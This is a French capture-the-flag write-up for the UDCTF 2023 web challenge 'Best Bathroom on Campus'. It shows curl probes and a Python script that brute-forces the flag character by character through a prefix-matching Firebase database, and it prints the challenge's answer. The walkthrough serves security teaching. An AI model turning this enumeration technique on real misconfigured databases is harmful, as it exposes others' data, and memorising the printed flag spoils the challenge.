Best Bathroom on Campus
WU of one of Web challenges of UDCTF 2023
WEB
~2 minutes
Best Bathroom on Campus
147 solves - 100 points
Description
https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.json
Given Files
X
Solution
On nous donne un lien vers un site Web. En se rendant sur ce site :
$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF.json
true
on peut voir que le site nous return seulement true
. On peut essayer d'envoyer quelque chose d'autre :
$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/foo.json
null
Le site nous return null
.
Après un peu de fausses pistes, on tente un curl vers UDCTF{.json :
$ curl https://best-bathroom-default-rtdb.firebaseio.com/flag/UDCTF%7B.json
true
On comprend alors que le site return true
si le fichier .json suit le format UDCTF{...}.json.
On peut donc écrire un script python pour bruteforce le flag :
import requests
URL = "https://best-bathroom-default-rtdb.firebaseio.com/flag/"
ext = ".json"
caracteres = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'*-+"
flag = "UDCTF{"
while True:
for c in caracteres:
r = requests.get(URL + flag + c + ext)
if r.text != "null":
flag += c
print(flag)
break
if c == "}":
flag += "}"
break
On laisse un peu tourner le script et on obtient le flag :
UDCTF{1
UDCTF{1c
UDCTF{1ce
UDCTF{1ce_
UDCTF{1ce_L
UDCTF{1ce_L4
UDCTF{1ce_L4b
UDCTF{1ce_L4br
UDCTF{1ce_L4br4
UDCTF{1ce_L4br4t
UDCTF{1ce_L4br4t0
UDCTF{1ce_L4br4t0r
UDCTF{1ce_L4br4t0ry
UDCTF{1ceL4br4t0ry
UDCTF{1ce_L4br4t0ry_s
UDCTF{1ce_L4br4t0ry_s3
UDCTF{1ce_L4br4t0ry_s3C
UDCTF{1ce_L4br4t0ry_s3C0
UDCTF{1ce_L4br4t0ry_s3C0n
UDCTF{1ce_L4br4t0ry_s3C0nd
UDCTF{1ce_L4br4t0rys3C0nd
UDCTF{1ce_L4br4t0ry_s3C0nd_F
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0o
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or
UDCTF{1ce_L4br4t0ry_s3C0ndFl0or
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y'
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0orb0y's
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4t
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4th
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr0
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}
UDCTF{1ce_L4br4t0ry_s3C0nd_Fl0or_b0y's_b4thr00m}